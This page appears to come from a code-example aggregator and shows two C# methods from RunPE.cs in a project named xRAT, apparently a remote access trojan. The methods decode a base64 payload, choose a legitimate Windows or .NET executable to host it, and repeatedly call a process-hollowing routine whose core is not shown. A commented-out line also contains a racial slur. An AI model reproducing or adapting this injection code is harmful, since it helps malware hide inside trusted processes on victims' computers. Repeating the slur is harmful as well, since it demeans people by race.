예제 #1
0
파일: RunPE.cs 프로젝트: Yulya1488/xRAT
        /// <summary>
        ///
        /// </summary>
        /// <param name="args">First is base64 payload, second is net, self, or sys, third is the exe to inj into without .exe</param>
        public static void Invoke(string[] args, Client client)
        {
            current = client;
            byte[] data = Convert.FromBase64String(args[0]);
            string text = "";

            if (args[1] == "net")
            {
                text = RuntimeEnvironment.GetRuntimeDirectory();
                text = text.Replace(text.Split(new char[]
                {
                    '\\'
                })[text.Split(new char[]
                {
                    '\\'
                }).Length - 2], "v2.0.50727");
                text = System.IO.Path.Combine(text, args[2] + ".exe");
            }
            if (args[1] == "sys")
            {
                text = Path.Combine(Environment.SystemDirectory, args[2] + ".exe");
            }
            if (args[1] == "self")
            {
                text = Assembly.GetEntryAssembly().Location;
            }
            if (args[1] == "swi")
            {
                text = args[2];
            }
            //MessageBox.Show("Nigger");
            //MessageBox.Show(text + " " + data.Length);
            RunPE.Run(text, "", data, true);
        }
예제 #2
0
파일: RunPE.cs 프로젝트: Yulya1488/xRAT
        public static bool Run(string path, string cmd, byte[] data, bool compatible)
        {
            bool result;

            for (int i = 1; i <= 5; i++)
            {
                if (RunPE.HandleRun(path, cmd, data, compatible))
                {
                    result = true;
                    return(result);
                }
            }
            result = false;
            return(result);
        }